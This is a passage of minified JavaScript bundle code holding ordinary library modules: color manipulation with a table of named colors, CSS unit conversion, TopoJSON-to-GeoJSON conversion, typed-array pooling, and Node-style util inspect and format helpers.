pe&&we[0].charAt(0)==we[0].charAt(1)&&we[1].charAt(0)==we[1].charAt(1)&&we[2].charAt(0)==we[2].charAt(1)&&we[3].charAt(0)==we[3].charAt(1)?we[0].charAt(0)+we[1].charAt(0)+we[2].charAt(0)+we[3].charAt(0):we.join("")}function i(K,oe,re,le){var pe=[fe(W(le)),fe(d(K).toString(16)),fe(d(oe).toString(16)),fe(d(re).toString(16))];return pe.join("")}f.equals=function(K,oe){return!K||!oe?!1:f(K).toRgbString()==f(oe).toRgbString()},f.random=function(){return f.fromRatio({r:r(),g:r(),b:r()})};function v(K,oe){oe=oe===0?0:oe||10;var re=f(K).toHsl();return re.s-=oe/100,re.s=G(re.s),f(re)}function T(K,oe){oe=oe===0?0:oe||10;var re=f(K).toHsl();return re.s+=oe/100,re.s=G(re.s),f(re)}function w(K){return f(K).desaturate(100)}function E(K,oe){oe=oe===0?0:oe||10;var re=f(K).toHsl();return re.l+=oe/100,re.l=G(re.l),f(re)}function p(K,oe){oe=oe===0?0:oe||10;var re=f(K).toRgb();return re.r=t(0,g(255,re.r-d(255*-(oe/100)))),re.g=t(0,g(255,re.g-d(255*-(oe/100)))),re.b=t(0,g(255,re.b-d(255*-(oe/100)))),f(re)}function A(K,oe){oe=oe===0?0:oe||10;var re=f(K).toHsl();return re.l-=oe/100,re.l=G(re.l),f(re)}function m(K,oe){var re=f(K).toHsl(),le=(re.h+oe)%360;return re.h=le<0?360+le:le,f(re)}function n(K){var oe=f(K).toHsl();return oe.h=(oe.h+180)%360,f(oe)}function C(K){var oe=f(K).toHsl(),re=oe.h;return[f(K),f({h:(re+120)%360,s:oe.s,l:oe.l}),f({h:(re+240)%360,s:oe.s,l:oe.l})]}function x(K){var oe=f(K).toHsl(),re=oe.h;return[f(K),f({h:(re+90)%360,s:oe.s,l:oe.l}),f({h:(re+180)%360,s:oe.s,l:oe.l}),f({h:(re+270)%360,s:oe.s,l:oe.l})]}function I(K){var oe=f(K).toHsl(),re=oe.h;return[f(K),f({h:(re+72)%360,s:oe.s,l:oe.l}),f({h:(re+216)%360,s:oe.s,l:oe.l})]}function k(K,oe,re){oe=oe||6,re=re||30;var le=f(K).toHsl(),pe=360/re,we=[f(K)];for(le.h=(le.h-(pe*oe>>1)+720)%360;--oe;)le.h=(le.h+pe)%360,we.push(f(le));return we}function B(K,oe){oe=oe||6;for(var re=f(K).toHsv(),le=re.h,pe=re.s,we=re.v,xe=[],ke=1/oe;oe--;)xe.push(f({h:le,s:pe,v:we})),we=(we+ke)%1;return xe}f.mix=function(K,oe,re){re=re===0?0:re||50;var le=f(K).toRgb(),pe=f(oe).toRgb(),we=re/100,xe={r:(pe.r-le.r)*we+le.r,g:(pe.g-le.g)*we+le.g,b:(pe.b-le.b)*we+le.b,a:(pe.a-le.a)*we+le.a};return f(xe)},f.readability=function(K,oe){var re=f(K),le=f(oe);return(P.max(re.getLuminance(),le.getLuminance())+.05)/(P.min(re.getLuminance(),le.getLuminance())+.05)},f.isReadable=function(K,oe,re){var le=f.readability(K,oe),pe,we;switch(we=!1,pe=j(re),pe.level+pe.size){case"AAsmall":case"AAAlarge":we=le>=4.5;break;case"AAlarge":we=le>=3;break;case"AAAsmall":we=le>=7;break}return we},f.mostReadable=function(K,oe,re){var le=null,pe=0,we,xe,ke,_e;re=re||{},xe=re.includeFallbackColors,ke=re.level,_e=re.size;for(var be=0;be<oe.length;be++)we=f.readability(K,oe[be]),we>pe&&(pe=we,le=f(oe[be]));return f.isReadable(K,le,{level:ke,size:_e})||!xe?le:(re.includeFallbackColors=!1,f.mostReadable(K,["#fff","#000"],re))};var _=f.names={aliceblue:"f0f8ff",antiquewhite:"faebd7",aqua:"0ff",aquamarine:"7fffd4",azure:"f0ffff",beige:"f5f5dc",bisque:"ffe4c4",black:"000",blanchedalmond:"ffebcd",blue:"00f",blueviolet:"8a2be2",brown:"a52a2a",burlywood:"deb887",burntsienna:"ea7e5d",cadetblue:"5f9ea0",chartreuse:"7fff00",chocolate:"d2691e",coral:"ff7f50",cornflowerblue:"6495ed",cornsilk:"fff8dc",crimson:"dc143c",cyan:"0ff",darkblue:"00008b",darkcyan:"008b8b",darkgoldenrod:"b8860b",darkgray:"a9a9a9",darkgreen:"006400",darkgrey:"a9a9a9",darkkhaki:"bdb76b",darkmagenta:"8b008b",darkolivegreen:"556b2f",darkorange:"ff8c00",darkorchid:"9932cc",darkred:"8b0000",darksalmon:"e9967a",darkseagreen:"8fbc8f",darkslateblue:"483d8b",darkslategray:"2f4f4f",darkslategrey:"2f4f4f",darkturquoise:"00ced1",darkviolet:"9400d3",deeppink:"ff1493",deepskyblue:"00bfff",dimgray:"696969",dimgrey:"696969",dodgerblue:"1e90ff",firebrick:"b22222",floralwhite:"fffaf0",forestgreen:"228b22",fuchsia:"f0f",gainsboro:"dcdcdc",ghostwhite:"f8f8ff",gold:"ffd700",goldenrod:"daa520",gray:"808080",green:"008000",greenyellow:"adff2f",grey:"808080",honeydew:"f0fff0",hotpink:"ff69b4",indianred:"cd5c5c",indigo:"4b0082",ivory:"fffff0",khaki:"f0e68c",lavender:"e6e6fa",lavenderblush:"fff0f5",lawngreen:"7cfc00",lemonchiffon:"fffacd",lightblue:"add8e6",lightcoral:"f08080",lightcyan:"e0ffff",lightgoldenrodyellow:"fafad2",lightgray:"d3d3d3",lightgreen:"90ee90",lightgrey:"d3d3d3",lightpink:"ffb6c1",lightsalmon:"ffa07a",lightseagreen:"20b2aa",lightskyblue:"87cefa",lightslategray:"789",lightslategrey:"789",lightsteelblue:"b0c4de",lightyellow:"ffffe0",lime:"0f0",limegreen:"32cd32",linen:"faf0e6",magenta:"f0f",maroon:"800000",mediumaquamarine:"66cdaa",mediumblue:"0000cd",mediumorchid:"ba55d3",mediumpurple:"9370db",mediumseagreen:"3cb371",mediumslateblue:"7b68ee",mediumspringgreen:"00fa9a",mediumturquoise:"48d1cc",mediumvioletred:"c71585",midnightblue:"191970",mintcream:"f5fffa",mistyrose:"ffe4e1",moccasin:"ffe4b5",navajowhite:"ffdead",navy:"000080",oldlace:"fdf5e6",olive:"808000",olivedrab:"6b8e23",orange:"ffa500",orangered:"ff4500",orchid:"da70d6",palegoldenrod:"eee8aa",palegreen:"98fb98",paleturquoise:"afeeee",palevioletred:"db7093",papayawhip:"ffefd5",peachpuff:"ffdab9",peru:"cd853f",pink:"ffc0cb",plum:"dda0dd",powderblue:"b0e0e6",purple:"800080",rebeccapurple:"663399",red:"f00",rosybrown:"bc8f8f",royalblue:"4169e1",saddlebrown:"8b4513",salmon:"fa8072",sandybrown:"f4a460",seagreen:"2e8b57",seashell:"fff5ee",sienna:"a0522d",silver:"c0c0c0",skyblue:"87ceeb",slateblue:"6a5acd",slategray:"708090",slategrey:"708090",snow:"fffafa",springgreen:"00ff7f",steelblue:"4682b4",tan:"d2b48c",teal:"008080",thistle:"d8bfd8",tomato:"ff6347",turquoise:"40e0d0",violet:"ee82ee",wheat:"f5deb3",white:"fff",whitesmoke:"f5f5f5",yellow:"ff0",yellowgreen:"9acd32"},F=f.hexNames=O(_);function O(K){var oe={};for(var re in K)K.hasOwnProperty(re)&&(oe[K[re]]=re);return oe}function z(K){return K=parseFloat(K),(isNaN(K)||K<0||K>1)&&(K=1),K}function N(K,oe){q(K)&&(K="100%");var re=ne(K);return K=g(oe,t(0,parseFloat(K))),re&&(K=parseInt(K*oe,10)/100),P.abs(K-oe)<1e-6?1:K%oe/parseFloat(oe)}function G(K){return g(1,t(0,K))}function J(K){return parseInt(K,16)}function q(K){return typeof K=="string"&&K.indexOf(".")!=-1&&parseFloat(K)===1}function ne(K){return typeof K=="string"&&K.indexOf("%")!=-1}function fe(K){return K.length==1?"0"+K:""+K}function X(K){return K<=1&&(K=K*100+"%"),K}function W(K){return P.round(parseFloat(K)*255).toString(16)}function V(K){return J(K)/255}var Y=function(){var K="[-\\+]?\\d+%?",oe="[-\\+]?\\d*\\.\\d+%?",re="(?:"+oe+")|(?:"+K+")",le="[\\s|\\(]+("+re+")[,|\\s]+("+re+")[,|\\s]+("+re+")\\s*\\)?",pe="[\\s|\\(]+("+re+")[,|\\s]+("+re+")[,|\\s]+("+re+")[,|\\s]+("+re+")\\s*\\)?";return{CSS_UNIT:new RegExp(re),rgb:new RegExp("rgb"+le),rgba:new RegExp("rgba"+pe),hsl:new RegExp("hsl"+le),hsla:new RegExp("hsla"+pe),hsv:new RegExp("hsv"+le),hsva:new RegExp("hsva"+pe),hex3:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex4:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex8:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/}}();function Q(K){return!!Y.CSS_UNIT.exec(K)}function ie(K){K=K.replace(o,"").replace(L,"").toLowerCase();var oe=!1;if(_[K])K=_[K],oe=!0;else if(K=="transparent")return{r:0,g:0,b:0,a:0,format:"name"};var re;return(re=Y.rgb.exec(K))?{r:re[1],g:re[2],b:re[3]}:(re=Y.rgba.exec(K))?{r:re[1],g:re[2],b:re[3],a:re[4]}:(re=Y.hsl.exec(K))?{h:re[1],s:re[2],l:re[3]}:(re=Y.hsla.exec(K))?{h:re[1],s:re[2],l:re[3],a:re[4]}:(re=Y.hsv.exec(K))?{h:re[1],s:re[2],v:re[3]}:(re=Y.hsva.exec(K))?{h:re[1],s:re[2],v:re[3],a:re[4]}:(re=Y.hex8.exec(K))?{r:J(re[1]),g:J(re[2]),b:J(re[3]),a:V(re[4]),format:oe?"name":"hex8"}:(re=Y.hex6.exec(K))?{r:J(re[1]),g:J(re[2]),b:J(re[3]),format:oe?"name":"hex"}:(re=Y.hex4.exec(K))?{r:J(re[1]+""+re[1]),g:J(re[2]+""+re[2]),b:J(re[3]+""+re[3]),a:V(re[4]+""+re[4]),format:oe?"name":"hex8"}:(re=Y.hex3.exec(K))?{r:J(re[1]+""+re[1]),g:J(re[2]+""+re[2]),b:J(re[3]+""+re[3]),format:oe?"name":"hex"}:!1}function j(K){var oe,re;return K=K||{level:"AA",size:"small"},oe=(K.level||"AA").toUpperCase(),re=(K.size||"small").toLowerCase(),oe!=="AA"&&oe!=="AAA"&&(oe="AA"),re!=="small"&&re!=="large"&&(re="small"),{level:oe,size:re}}te.exports?te.exports=f:(M=(function(){return f}).call(Z,e,Z,te),M!==void 0&&(te.exports=M))})(Math)},57060:function(te){te.exports=M,te.exports.float32=te.exports.float=M,te.exports.fract32=te.exports.fract=e;var Z=new Float32Array(1);function e(P,o){if(P.length){if(P instanceof Float32Array)return new Float32Array(P.length);o instanceof Float32Array||(o=M(P));for(var L=0,S=o.length;L<S;L++)o[L]=P[L]-o[L];return o}return M(P-M(P))}function M(P){return P.length?P instanceof Float32Array?P:new Float32Array(P):(Z[0]=P,Z[0])}},75686:function(te,Z,e){var M=e(25677);te.exports=S;var P=96;function o(d,g){var t=M(getComputedStyle(d).getPropertyValue(g));return t[0]*S(t[1],d)}function L(d,g){var t=document.createElement("div");t.style["font-size"]="128"+d,g.appendChild(t);var r=o(t,"font-size")/128;return g.removeChild(t),r}function S(d,g){switch(g=g||document.body,d=(d||"px").trim().toLowerCase(),(g===window||g===document)&&(g=document.body),d){case"%":return g.clientHeight/100;case"ch":case"ex":return L(d,g);case"em":return o(g,"font-size");case"rem":return o(document.body,"font-size");case"vw":return window.innerWidth/100;case"vh":return window.innerHeight/100;case"vmin":return Math.min(window.innerWidth,window.innerHeight)/100;case"vmax":return Math.max(window.innerWidth,window.innerHeight)/100;case"in":return P;case"cm":return P/2.54;case"mm":return P/25.4;case"pt":return P/72;case"pc":return P/6}return 1}},96892:function(te,Z,e){e.d(Z,{zL:function(){return L}});function M(g,t){for(var r,f=g.length,a=f-t;a<--f;)r=g[a],g[a++]=g[f],g[f]=r}function P(g){return g}function o(g){if(g==null)return P;var t,r,f=g.scale[0],a=g.scale[1],l=g.translate[0],u=g.translate[1];return function(s,y){y||(t=r=0);var c=2,b=s.length,h=new Array(b);for(h[0]=(t+=s[0])*f+l,h[1]=(r+=s[1])*a+u;c<b;)h[c]=s[c],++c;return h}}function L(g,t){return typeof t=="string"&&(t=g.objects[t]),t.type==="GeometryCollection"?{type:"FeatureCollection",features:t.geometries.map(function(r){return S(g,r)})}:S(g,t)}function S(g,t){var r=t.id,f=t.bbox,a=t.properties==null?{}:t.properties,l=d(g,t);return r==null&&f==null?{type:"Feature",properties:a,geometry:l}:f==null?{type:"Feature",id:r,properties:a,geometry:l}:{type:"Feature",id:r,bbox:f,properties:a,geometry:l}}function d(g,t){var r=o(g.transform),f=g.arcs;function a(b,h){h.length&&h.pop();for(var i=f[b<0?~b:b],v=0,T=i.length;v<T;++v)h.push(r(i[v],v));b<0&&M(h,T)}function l(b){return r(b)}function u(b){for(var h=[],i=0,v=b.length;i<v;++i)a(b[i],h);return h.length<2&&h.push(h[0]),h}function s(b){for(var h=u(b);h.length<4;)h.push(h[0]);return h}function y(b){return b.map(s)}function c(b){var h=b.type,i;switch(h){case"GeometryCollection":return{type:h,geometries:b.geometries.map(c)};case"Point":i=l(b.coordinates);break;case"MultiPoint":i=b.coordinates.map(l);break;case"LineString":i=u(b.arcs);break;case"MultiLineString":i=b.arcs.map(u);break;case"Polygon":i=y(b.arcs);break;case"MultiPolygon":i=b.arcs.map(y);break;default:return null}return{type:h,coordinates:i}}return c(t)}},73116:function(te,Z,e){var M=e(24511);te.exports=function(P){if(typeof P!="function"||!hasOwnProperty.call(P,"length"))return!1;try{if(typeof P.length!="number"||typeof P.call!="function"||typeof P.apply!="function")return!1}catch{return!1}return!M(P)}},69190:function(te,Z,e){var M=e(24582),P=e(47403),o=e(9234),L=e(6048),S=function(d,g){return d.replace("%v",L(g))};te.exports=function(d,g,t){if(!P(t))throw new TypeError(S(g,d));if(!M(d)){if("default"in t)return t.default;if(t.isOptional)return null}var r=o(t.errorMessage);throw M(r)||(r=g),new TypeError(S(r,d))}},18497:function(te){te.exports=function(Z){try{return Z.toString()}catch{try{return String(Z)}catch{return null}}}},6048:function(te,Z,e){var M=e(18497),P=/[\n\r\u2028\u2029]/g;te.exports=function(o){var L=M(o);return L===null?"<Non-coercible to string value>":(L.length>100&&(L=L.slice(0,99)+"…"),L=L.replace(P,function(S){switch(S){case`
`:return"\\n";case"\r":return"\\r";case"\u2028":return"\\u2028";case"\u2029":return"\\u2029";default:throw new Error("Unexpected character")}}),L)}},47403:function(te,Z,e){var M=e(24582),P={object:!0,function:!0,undefined:!0};te.exports=function(o){return M(o)?hasOwnProperty.call(P,typeof o):!1}},82527:function(te,Z,e){var M=e(69190),P=e(84985);te.exports=function(o){return P(o)?o:M(o,"%v is not a plain function",arguments[1])}},84985:function(te,Z,e){var M=e(73116),P=/^\s*class[\s{/}]/,o=Function.prototype.toString;te.exports=function(L){return!(!M(L)||P.test(o.call(L)))}},24511:function(te,Z,e){var M=e(47403);te.exports=function(P){if(!M(P))return!1;try{return P.constructor?P.constructor.prototype===P:!1}catch{return!1}}},9234:function(te,Z,e){var M=e(24582),P=e(47403),o=Object.prototype.toString;te.exports=function(L){if(!M(L))return null;if(P(L)){var S=L.toString;if(typeof S!="function"||S===o)return null}try{return""+L}catch{return null}}},10424:function(te,Z,e){var M=e(69190),P=e(24582);te.exports=function(o){return P(o)?o:M(o,"Cannot use %v",arguments[1])}},24582:function(te){var Z=void 0;te.exports=function(e){return e!==Z&&e!==null}},58404:function(te,Z,e){var M=e(13547),P=e(12129),o=e(12856).Buffer;e.g.__TYPEDARRAY_POOL||(e.g.__TYPEDARRAY_POOL={UINT8:P([32,0]),UINT16:P([32,0]),UINT32:P([32,0]),BIGUINT64:P([32,0]),INT8:P([32,0]),INT16:P([32,0]),INT32:P([32,0]),BIGINT64:P([32,0]),FLOAT:P([32,0]),DOUBLE:P([32,0]),DATA:P([32,0]),UINT8C:P([32,0]),BUFFER:P([32,0])});var L=typeof Uint8ClampedArray<"u",S=typeof BigUint64Array<"u",d=typeof BigInt64Array<"u",g=e.g.__TYPEDARRAY_POOL;g.UINT8C||(g.UINT8C=P([32,0])),g.BIGUINT64||(g.BIGUINT64=P([32,0])),g.BIGINT64||(g.BIGINT64=P([32,0])),g.BUFFER||(g.BUFFER=P([32,0]));var t=g.DATA,r=g.BUFFER;Z.free=function(n){if(o.isBuffer(n))r[M.log2(n.length)].push(n);else{if(Object.prototype.toString.call(n)!=="[object ArrayBuffer]"&&(n=n.buffer),!n)return;var C=n.length||n.byteLength,x=M.log2(C)|0;t[x].push(n)}};function f(m){if(m){var n=m.length||m.byteLength,C=M.log2(n);t[C].push(m)}}function a(m){f(m.buffer)}Z.freeUint8=Z.freeUint16=Z.freeUint32=Z.freeBigUint64=Z.freeInt8=Z.freeInt16=Z.freeInt32=Z.freeBigInt64=Z.freeFloat32=Z.freeFloat=Z.freeFloat64=Z.freeDouble=Z.freeUint8Clamped=Z.freeDataView=a,Z.freeArrayBuffer=f,Z.freeBuffer=function(n){r[M.log2(n.length)].push(n)},Z.malloc=function(n,C){if(C===void 0||C==="arraybuffer")return l(n);switch(C){case"uint8":return u(n);case"uint16":return s(n);case"uint32":return y(n);case"int8":return c(n);case"int16":return b(n);case"int32":return h(n);case"float":case"float32":return i(n);case"double":case"float64":return v(n);case"uint8_clamped":return T(n);case"bigint64":return E(n);case"biguint64":return w(n);case"buffer":return A(n);case"data":case"dataview":return p(n);default:return null}return null};function l(n){var n=M.nextPow2(n),C=M.log2(n),x=t[C];return x.length>0?x.pop():new ArrayBuffer(n)}Z.mallocArrayBuffer=l;function u(m){return new Uint8Array(l(m),0,m)}Z.mallocUint8=u;function s(m){return new Uint16Array(l(2*m),0,m)}Z.mallocUint16=s;function y(m){return new Uint32Array(l(4*m),0,m)}Z.mallocUint32=y;function c(m){return new Int8Array(l(m),0,m)}Z.mallocInt8=c;function b(m){return new Int16Array(l(2*m),0,m)}Z.mallocInt16=b;function h(m){return new Int32Array(l(4*m),0,m)}Z.mallocInt32=h;function i(m){return new Float32Array(l(4*m),0,m)}Z.mallocFloat32=Z.mallocFloat=i;function v(m){return new Float64Array(l(8*m),0,m)}Z.mallocFloat64=Z.mallocDouble=v;function T(m){return L?new Uint8ClampedArray(l(m),0,m):u(m)}Z.mallocUint8Clamped=T;function w(m){return S?new BigUint64Array(l(8*m),0,m):null}Z.mallocBigUint64=w;function E(m){return d?new BigInt64Array(l(8*m),0,m):null}Z.mallocBigInt64=E;function p(m){return new DataView(l(m),0,m)}Z.mallocDataView=p;function A(m){m=M.nextPow2(m);var n=M.log2(m),C=r[n];return C.length>0?C.pop():new o(m)}Z.mallocBuffer=A,Z.clearCache=function(){for(var n=0;n<32;++n)g.UINT8[n].length=0,g.UINT16[n].length=0,g.UINT32[n].length=0,g.INT8[n].length=0,g.INT16[n].length=0,g.INT32[n].length=0,g.FLOAT[n].length=0,g.DOUBLE[n].length=0,g.BIGUINT64[n].length=0,g.BIGINT64[n].length=0,g.UINT8C[n].length=0,t[n].length=0,r[n].length=0}},90448:function(te){var Z=/[\'\"]/;te.exports=function(M){return M?(Z.test(M.charAt(0))&&(M=M.substr(1)),Z.test(M.charAt(M.length-1))&&(M=M.substr(0,M.length-1)),M):""}},93447:function(te){te.exports=function(e,M,P){Array.isArray(P)||(P=[].slice.call(arguments,2));for(var o=0,L=P.length;o<L;o++){var S=P[o];for(var d in S)if(!(M[d]!==void 0&&!Array.isArray(M[d])&&e[d]===M[d])&&d in M){var g;if(S[d]===!0)g=M[d];else{if(S[d]===!1)continue;if(typeof S[d]=="function"&&(g=S[d](M[d],e,M),g===void 0))continue}e[d]=g}}return e}},20588:function(te,Z,e){te.exports=M;function M(o,L){if(P("noDeprecation"))return o;var S=!1;function d(){if(!S){if(P("throwDeprecation"))throw new Error(L);P("traceDeprecation")?console.trace(L):console.warn(L),S=!0}return o.apply(this,arguments)}return d}function P(o){try{if(!e.g.localStorage)return!1}catch{return!1}var L=e.g.localStorage[o];return L==null?!1:String(L).toLowerCase()==="true"}},45920:function(te){te.exports=function(e){return e&&typeof e=="object"&&typeof e.copy=="function"&&typeof e.fill=="function"&&typeof e.readUInt8=="function"}},4936:function(te,Z,e){var M=e(47216),P=e(65481),o=e(21099),L=e(9187);function S(we){return we.call.bind(we)}var d=typeof BigInt<"u",g=typeof Symbol<"u",t=S(Object.prototype.toString),r=S(Number.prototype.valueOf),f=S(String.prototype.valueOf),a=S(Boolean.prototype.valueOf);if(d)var l=S(BigInt.prototype.valueOf);if(g)var u=S(Symbol.prototype.valueOf);function s(we,xe){if(typeof we!="object")return!1;try{return xe(we),!0}catch{return!1}}Z.isArgumentsObject=M,Z.isGeneratorFunction=P,Z.isTypedArray=L;function y(we){return typeof Promise<"u"&&we instanceof Promise||we!==null&&typeof we=="object"&&typeof we.then=="function"&&typeof we.catch=="function"}Z.isPromise=y;function c(we){return typeof ArrayBuffer<"u"&&ArrayBuffer.isView?ArrayBuffer.isView(we):L(we)||J(we)}Z.isArrayBufferView=c;function b(we){return o(we)==="Uint8Array"}Z.isUint8Array=b;function h(we){return o(we)==="Uint8ClampedArray"}Z.isUint8ClampedArray=h;function i(we){return o(we)==="Uint16Array"}Z.isUint16Array=i;function v(we){return o(we)==="Uint32Array"}Z.isUint32Array=v;function T(we){return o(we)==="Int8Array"}Z.isInt8Array=T;function w(we){return o(we)==="Int16Array"}Z.isInt16Array=w;function E(we){return o(we)==="Int32Array"}Z.isInt32Array=E;function p(we){return o(we)==="Float32Array"}Z.isFloat32Array=p;function A(we){return o(we)==="Float64Array"}Z.isFloat64Array=A;function m(we){return o(we)==="BigInt64Array"}Z.isBigInt64Array=m;function n(we){return o(we)==="BigUint64Array"}Z.isBigUint64Array=n;function C(we){return t(we)==="[object Map]"}C.working=typeof Map<"u"&&C(new Map);function x(we){return typeof Map>"u"?!1:C.working?C(we):we instanceof Map}Z.isMap=x;function I(we){return t(we)==="[object Set]"}I.working=typeof Set<"u"&&I(new Set);function k(we){return typeof Set>"u"?!1:I.working?I(we):we instanceof Set}Z.isSet=k;function B(we){return t(we)==="[object WeakMap]"}B.working=typeof WeakMap<"u"&&B(new WeakMap);function _(we){return typeof WeakMap>"u"?!1:B.working?B(we):we instanceof WeakMap}Z.isWeakMap=_;function F(we){return t(we)==="[object WeakSet]"}F.working=typeof WeakSet<"u"&&F(new WeakSet);function O(we){return F(we)}Z.isWeakSet=O;function z(we){return t(we)==="[object ArrayBuffer]"}z.working=typeof ArrayBuffer<"u"&&z(new ArrayBuffer);function N(we){return typeof ArrayBuffer>"u"?!1:z.working?z(we):we instanceof ArrayBuffer}Z.isArrayBuffer=N;function G(we){return t(we)==="[object DataView]"}G.working=typeof ArrayBuffer<"u"&&typeof DataView<"u"&&G(new DataView(new ArrayBuffer(1),0,1));function J(we){return typeof DataView>"u"?!1:G.working?G(we):we instanceof DataView}Z.isDataView=J;var q=typeof SharedArrayBuffer<"u"?SharedArrayBuffer:void 0;function ne(we){return t(we)==="[object SharedArrayBuffer]"}function fe(we){return typeof q>"u"?!1:(typeof ne.working>"u"&&(ne.working=ne(new q)),ne.working?ne(we):we instanceof q)}Z.isSharedArrayBuffer=fe;function X(we){return t(we)==="[object AsyncFunction]"}Z.isAsyncFunction=X;function W(we){return t(we)==="[object Map Iterator]"}Z.isMapIterator=W;function V(we){return t(we)==="[object Set Iterator]"}Z.isSetIterator=V;function Y(we){return t(we)==="[object Generator]"}Z.isGeneratorObject=Y;function Q(we){return t(we)==="[object WebAssembly.Module]"}Z.isWebAssemblyCompiledModule=Q;function ie(we){return s(we,r)}Z.isNumberObject=ie;function j(we){return s(we,f)}Z.isStringObject=j;function K(we){return s(we,a)}Z.isBooleanObject=K;function oe(we){return d&&s(we,l)}Z.isBigIntObject=oe;function re(we){return g&&s(we,u)}Z.isSymbolObject=re;function le(we){return ie(we)||j(we)||K(we)||oe(we)||re(we)}Z.isBoxedPrimitive=le;function pe(we){return typeof Uint8Array<"u"&&(N(we)||fe(we))}Z.isAnyArrayBuffer=pe,["isProxy","isExternal","isModuleNamespaceObject"].forEach(function(we){Object.defineProperty(Z,we,{enumerable:!1,value:function(){throw new Error(we+" is not supported in userland")}})})},43827:function(te,Z,e){var M=e(90386),P=Object.getOwnPropertyDescriptors||function(q){for(var ne=Object.keys(q),fe={},X=0;X<ne.length;X++)fe[ne[X]]=Object.getOwnPropertyDescriptor(q,ne[X]);return fe},o=/%[sdj%]/g;Z.format=function(J){if(!w(J)){for(var q=[],ne=0;ne<arguments.length;ne++)q.push(g(arguments[ne]));return q.join(" ")}for(var ne=1,fe=arguments,X=fe.length,W=String(J).replace(o,function(Y){if(Y==="%%")return"%";if(ne>=X)return Y;switch(Y){case"%s":return String(fe[ne++]);case"%d":return Number(fe[ne++]);case"%j":try{return JSON.stringify(fe[ne++])}catch{return"[Circular]"}default:return Y}}),V=fe[ne];ne<X;V=fe[++ne])i(V)||!m(V)?W+=" "+V:W+=" "+g(V);return W},Z.deprecate=function(J,q){if(typeof M<"u"&&M.noDeprecation===!0)return J;if(typeof M>"u")return function(){return Z.deprecate(J,q).apply(this,arguments)};var ne=!1;function fe(){if(!ne){if(M.throwDeprecation)throw new Error(q);M.traceDeprecation?console.trace(q):console.error(q),ne=!0}return J.apply(this,arguments)}return fe};var L={},S=/^$/;if(M.env.NODE_DEBUG){var d=M.env.NODE_DEBUG;d=d.replace(/[|\\{}()[\]^$+?.]/g,"\\$&").replace(/\*/g,".*").replace(/,/g,"$|^").toUpperCase(),S=new RegExp("^"+d+"$","i")}Z.debuglog=function(J){if(J=J.toUpperCase(),!L[J])if(S.test(J)){var q=M.pid;L[J]=function(){var ne=Z.format.apply(Z,arguments);console.error("%s %d: %s",J,q,ne)}}else L[J]=function(){};return L[J]};function g(J,q){var ne={seen:[],stylize:r};return arguments.length>=3&&(ne.depth=arguments[2]),arguments.length>=4&&(ne.colors=arguments[3]),h(q)?ne.showHidden=q:q&&Z._extend(ne,q),p(ne.showHidden)&&(ne.showHidden=!1),p(ne.depth)&&(ne.depth=2),p(ne.colors)&&(ne.colors=!1),p(ne.customInspect)&&(ne.customInspect=!0),ne.colors&&(ne.stylize=t),a(ne,J,ne.depth)}Z.inspect=g,g.colors={bold:[1,22],italic:[3,23],underline:[4,24],inverse:[7,27],white:[37,39],grey:[90,39],black:[30,39],blue:[34,39],cyan:[36,39],green:[32,39],magenta:[35,39],red:[31,39],yellow:[33,39]},g.styles={special:"cyan",number:"yellow",boolean:"yellow",undefined:"grey",null:"bold",string:"green",date:"magenta",regexp:"red"};function t(J,q){var ne=g.styles[q];return ne?"\x1B["+g.colors[ne][0]+"m"+J+"\x1B["+g.colors[ne][1]+"m":J}function r(J,q){return J}function f(J){var q={};return J.forEach(function(ne,fe){q[ne]=!0}),q}function a(J,q,ne){if(J.customInspect&&q&&x(q.inspect)&&q.inspect!==Z.inspect&&!(q.constructor&&q.constructor.prototype===q)){var fe=q.inspect(ne,J);return w(fe)||(fe=a(J,fe,ne)),fe}var X=l(J,q);if(X)return X;var W=Object.keys(q),V=f(W);if(J.showHidden&&(W=Object.getOwnPropertyNames(q)),C(q)&&(W.indexOf("message")>=0||W.indexOf("description")>=0))return u(q);if(W.length===0){if(x(q)){var Y=q.name?": "+q.name:"";return J.stylize("[Function"+Y+"]","special")}if(A(q))return J.stylize(RegExp.prototype.toString.call(q),"regexp");if(n(q))return J.stylize(Date.prototype.toString.call(q),"date");if(C(q))return u(q)}var Q="",ie=!1,j=["{","}"];if(b(q)&&(ie=!0,j=["[","]"]),x(q)){var K=q.name?": "+q.name:"";Q=" [Function"+K+"]"}if(A(q)&&(Q=" "+RegExp.prototype.toString.call(q)),n(q)&&(Q=" "+Date.prototype.toUTCString.call(q)),C(q)&&(Q=" "+u(q)),W.length===0&&(!ie||q.length==0))return j[0]+Q+j[1];if(ne<0)return A(q)?J.stylize(RegExp.prototype.toString.call(q),"regexp"):J.stylize("[Object]","special");J.seen.push(q);var oe;return ie?oe=s(J,q,ne,V,W):oe=W.map(function(re){return y(J,q,ne,V,re,ie)}),J.seen.pop(),c(oe,Q,j)}function l(J,q){if(p(q))return J.stylize("undefined","undefined");if(w(q)){var ne="'"+JSON.stringify(q).replace(/^"|"$/g,"").replace(/'/g,"\\'").replace(/\\"/g,'"')+"'";return J.stylize(ne,"string")}if(T(q))return J.stylize(""+q,"number");if(h(q))return J.stylize(""+q,"boolean");if(i(q))return J.stylize("null","null")}function u(J){return"["+Error.prototype.toString.call(J)+"]"}function s(J,q,ne,fe,X){for(var W=[],V=0,Y=q.length;V<Y;++V)O(q,String(V))?W.push(y(J,q,ne,fe,String(V),!0)):W.push("");return X.forEach(function(Q){Q.match(/^\d+$/)||W.push(y(J,q,ne,fe,Q,!0))}),W}function y(J,q,ne,fe,X,W){var V,Y,Q;if(Q=Object.getOwnPropertyDescriptor(q,X)||{value:q[X]},Q.get?Q.set?Y=J.stylize("[Getter/Setter]","special"):Y=J.stylize("[Getter]","special"):Q.set&&(Y=J.stylize("[Setter]","special")),O(fe,X)||(V="["+X+"]"),Y||(J.seen.indexOf(Q.value)<0?(i(ne)?Y=a(J,Q.value,null):Y=a(J,Q.value,ne-1),Y.indexOf(`
`)>-1&&(W?Y=Y.split(`
`).map(function(ie){return"  "+ie}).join(`
`).slice(2):Y=`
`+Y.split(`
`).map(function(ie){return"   "+ie}).join(`
